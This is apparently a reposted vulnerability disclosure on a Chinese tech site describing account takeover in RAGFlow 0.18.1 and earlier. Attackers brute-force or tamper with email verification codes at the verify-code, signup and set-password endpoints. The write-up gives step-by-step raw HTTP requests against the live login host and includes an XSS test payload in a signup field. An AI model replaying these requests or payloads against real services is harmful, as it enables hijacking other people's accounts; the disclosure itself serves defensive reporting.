当前位置: 首页 > news >正文

RAGFlow Arbitrary Account Takeover Vulnerability

文章目录

    • RAGFlow
    • Vulnerability Description
    • [1]Vulnerability Steps
    • [2]Vulnerability Steps
    • [3]Vulnerability Steps

RAGFlow

RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine developed by Infiniflow, focused on deep document understanding and designed to provide efficient and scalable question-answering system solutions for various enterprises.

Community activity: over 50,000 stars, 5,000 forks, and more than 250 contributors.

Project Homepage: https://github.com/infiniflow/ragflow

Demo URL: https://demo.ragflow.io

Vulnerability Description

RAGFlow is an open-source RAG (Retrieval-Augmented Generation) engine. Versions 0.18.1 and earlier are vulnerable to an account takeover flaw that allows attackers to brute-force email verification codes to perform arbitrary account registration, login, and password reset. As of the time of publication, no patched version is available.

[1]Vulnerability Steps

1.Navigate to the password reset page.

2.Enter the victim’s username.

3.The system will send a verification code to the victim’s email.

4.Enter any verification code and click “Next.” At this point, intercept the request, which corresponds to the /api/verify-code endpoint.

The specific request packet is as follows:

POST /api/verify-code HTTP/1.1
Host: login.ragflow.io
Cookie: casdoor_session_id=24ca5a1c9266ee51064b56ab498de2ac; organizationTheme={"themeType":"dark","colorPrimary":"#5734d3","borderRadius":2,"isCompact":false,"isEnabled":true}; organizationLogo=https://github.com/infiniflow/ragflow/raw/main/web/src/assets/logo-with-text.png; organizationFootHtml=
Content-Length: 136
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh;q=0.9,en;q=0.8
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Origin: https://login.ragflow.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://login.ragflow.io/forget/RAGFlow
Accept-Encoding: gzip, deflate
Priority: u=1, i
Connection: close{"application":"RAGFlow","organization":"infiniflow","username":"victim email","name":"aaas2","code":"501777","type":"login"}

5.The response packet is as follows:

6.After replacing the intercepted response packet, the following password reset page is displayed:

7.Clicking “Change Password” triggers the password reset request packet:

POST /api/set-password HTTP/1.1
Host: login.ragflow.io
Cookie: casdoor_session_id=24ca5a1c9266ee51064b56ab498de2ac; organizationTheme={"themeType":"dark","colorPrimary":"#5734d3","borderRadius":2,"isCompact":false,"isEnabled":true}; organizationLogo=https://github.com/infiniflow/ragflow/raw/main/web/src/assets/logo-with-text.png; organizationFootHtml=
Content-Length: 557
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh;q=0.9,en;q=0.8
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6zphfvJ3DZ0xdxzB
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Origin: https://login.ragflow.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://login.ragflow.io/forget/RAGFlow
Accept-Encoding: gzip, deflate
Priority: u=1, i
Connection: close------WebKitFormBoundary6zphfvJ3DZ0xdxzB
Content-Disposition: form-data; name="userOwner"infiniflow
------WebKitFormBoundary6zphfvJ3DZ0xdxzB
Content-Disposition: form-data; name="userName"aaas2
------WebKitFormBoundary6zphfvJ3DZ0xdxzB
Content-Disposition: form-data; name="oldPassword"------WebKitFormBoundary6zphfvJ3DZ0xdxzB
Content-Disposition: form-data; name="newPassword"aaassssD21
------WebKitFormBoundary6zphfvJ3DZ0xdxzB
Content-Disposition: form-data; name="code"501777
------WebKitFormBoundary6zphfvJ3DZ0xdxzB--

Ultimately, the account takeover is successfully achieved.

[2]Vulnerability Steps

1.Navigate to the registration page

2.Enter the victim’s email address for registration.

3.The system then sends a verification code to the victim’s email.

4.Enter any verification code and click “Sign Up”, then intercept the request. The corresponding endpoint is /api/signup. Perform a brute-force attack on the verification code. As shown below, there is no rate limiting in place:

5.The specific request packet is as follows:

POST /api/signup HTTP/1.1
Host: login.ragflow.io
Cookie: casdoor_session_id=24ca5a1c9266ee51064b56ab498de2ac; organizationTheme={"themeType":"dark","colorPrimary":"#5734d3","borderRadius":2,"isCompact":false,"isEnabled":true}; organizationLogo=https://github.com/infiniflow/ragflow/raw/main/web/src/assets/logo-with-text.png; organizationFootHtml=
Content-Length: 251
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh;q=0.9,en;q=0.8
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Origin: https://login.ragflow.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://login.ragflow.io/signup/oauth/authorize?client_id=87fe30c13277b95d37b5&response_type=code&redirect_uri=https://demo.ragflow.io/v1/user/oauth_callback&scope=read
Accept-Encoding: gzip, deflate
Priority: u=1, i
Connection: close{"application":"RAGFlow","organization":"infiniflow","username":"aaassssD2","name":"<script>alert(1)</script>","password":"12#Password","confirm":"aaassssD2","email":"Victim EMAIL","emailCode":"698623","agreement":true,"plan":null,"pricing":null}

6.The response packet is as follows:

This indicates that we have successfully achieved arbitrary user registration.

[3]Vulnerability Steps

On the login page, users can log in using an email verification code. Since this also relies on the /api/verify-code endpoint, it introduces a vulnerability that allows arbitrary user login, leading to full account takeover.

相关文章:

  • python的漫画网站管理系统
  • 目标检测工作原理:从滑动窗口到Haar特征检测的完整实现
  • 现代健康养生新风尚
  • 【前端基础】10、CSS的伪元素(::first-line、::first-letter、::before、::after)【注:极简描述】
  • upload-labs通关笔记-第10关 文件上传之点多重过滤(空格点绕过)
  • 【JavaWeb】MySQL
  • Github 2025-05-17 Rust开源项目日报 Top10
  • STM32 | FreeRTOS 递归信号量
  • 理解 plank 自动生成的 copyWithBlock: 方法
  • java函数内的变量问题
  • 永久免费!专为 Apache Doris 打造的可视化数据管理工具 SelectDB Studio V1.1.0 重磅发布!
  • 素数筛(欧拉筛算法)
  • 游戏引擎学习第288天:继续完成Brains
  • 遨游科普:三防平板是什么?有什么功能?
  • 使用Langfuse和RAGAS,搭建高可靠RAG应用
  • AI编码代理的崛起 - AlphaEvolve与Codex的对比分析引言
  • Redis 事务与管道:原理、区别与应用实践
  • 深入理解桥接模式:解耦抽象与实现的设计艺术
  • 给你的matplotlib images添加scale Bar
  • DataX:一个开源的离线数据同步工具
  • 关税影响下沃尔玛想涨价,特朗普施压:自行承担,别转嫁给顾客
  • 国内规模最大女子赛艇官方赛事在沪启航,中外41支队伍逐浪
  • 哪条线路客流最大?哪个站点早高峰人最多?上海地铁一季度客流报告出炉
  • 北方将现今年首场大范围高温天气,山西河南山东陕西局地可超40℃
  • 一周文化讲座|“我的生命不过是温柔的疯狂”
  • ESG考证虚火:相比证书,知识结构+实战经验更重要